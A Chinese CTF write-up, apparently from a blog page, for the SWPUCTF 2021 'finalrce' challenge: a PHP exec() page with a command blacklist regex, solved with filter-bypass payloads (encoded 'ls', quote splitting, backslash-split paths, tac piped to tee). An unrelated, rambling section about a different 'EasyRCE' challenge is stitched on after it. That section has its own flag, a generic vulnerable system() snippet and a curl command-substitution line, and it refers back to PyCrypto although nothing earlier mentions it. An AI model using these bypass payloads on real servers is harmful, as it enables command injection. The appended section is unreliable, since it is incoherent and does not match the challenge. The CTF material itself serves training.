【SWPUCTF 2021 新生赛】finalrce

题目

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
} 

思路

通过测试,为无回显RCE,

EXP

tee命令

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

1.取反

?url=%93%8C |tee 1.txt

2.异或

ls /   异或之后    "13@^"]@`" 
因为过滤"  所以base64编码一下
?url=IjEzQCJeIl1AYCI=|tee 1.txt

3.变形

?url=l''s /|tee 1.txt

tac命令

tac命令的功能是用于反向显示文件内容,即常见的查看文件内容命令cat的反写形式

?url=tac /flllllaaaaaaggggggg|tee 2.txt

显示:

Sorry,you can't use this.

尝试其他

?url=tac /a_here_is_a_f1ag |tee 2.txt

访问2.txt,显示:

true_flag_1s_1n_flllllaaaaaaggggggg

尝试干扰

?url=tac /flllll\aaaaaaggggggg |tee 3.txt

访问3.txt得到flag

### 关于 SWPUCTF 2021 新生 EasyRCE 的解题思路 EasyRCE 是 SWPUCTF 2021 新生的一道挑战题,其目标是通过远程命令执行(Remote Code Execution, RCE)获取 flag。以下是该题目的可能解法和提示: #### 背景分析 根据已知信息[^3],本题的最终 flag 为 `NSSCTF{3949399b-ef5a-4159-8b6c-e0bab1daf36a}`。这表明题目设计者希望参者能够成功完成一次有效的 RCE 攻击并提取到隐藏的信息。 #### 技术细节与解决方法 1. **漏洞利用** 此类题目通常基于某种服务端脚本或程序中的安全缺陷展开攻击向量。例如 PHP、Python 或其他语言编写的 Web 应用可能存在未过滤输入参数的情况。如果存在类似以下代码片段,则可尝试注入恶意指令: ```php <?php $cmd = $_GET['command']; system($cmd); ?> ``` 上述例子展示了未经验证直接调用用户传入数据作为系统命令执行的风险。针对此场景,可以通过构造特定 URL 参数触发任意 shell 命令运行环境。 2. **Flag 提取路径猜测** 结合常规 CTF 比习惯以及给出的结果字符串形式推测,实际存储位置很可能位于服务器文件系统内部预定义目录下某个文本文件之中;或者由动态生成算法计算得出再返回给客户端显示出来。因此除了单纯依靠网络交互层面寻找突破口之外还需要考虑本地资源访问权限提升等相关知识点学习掌握以便更高效地达成目标。 3. **工具辅助检测与调试技巧分享** - 使用 Burp Suite 截获请求包并对关键字段进行修改测试不同响应表现差异从而定位潜在危险接口地址及其对应功能实现方式。 - 如果遇到加密传输机制干扰正常分析流程的话记得先确认所采用的具体协议类型然后再决定是否引入第三方库支持比如前面提到过的PyCrypto用于处理传统对称密钥运算需求场合当中去吧! ```bash curl http://example.com/vuln_endpoint?param=$(echo 'id' | base64) ``` 以上示例演示了如何编码 Base64 后传递至远端解析器以规避某些字符转义规则限制进而达到预期效果展示真实操作系统身份详情等功能特性介绍完毕啦各位小伙伴们快来一起动手实践起来看看能不能顺利通关呀😊 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值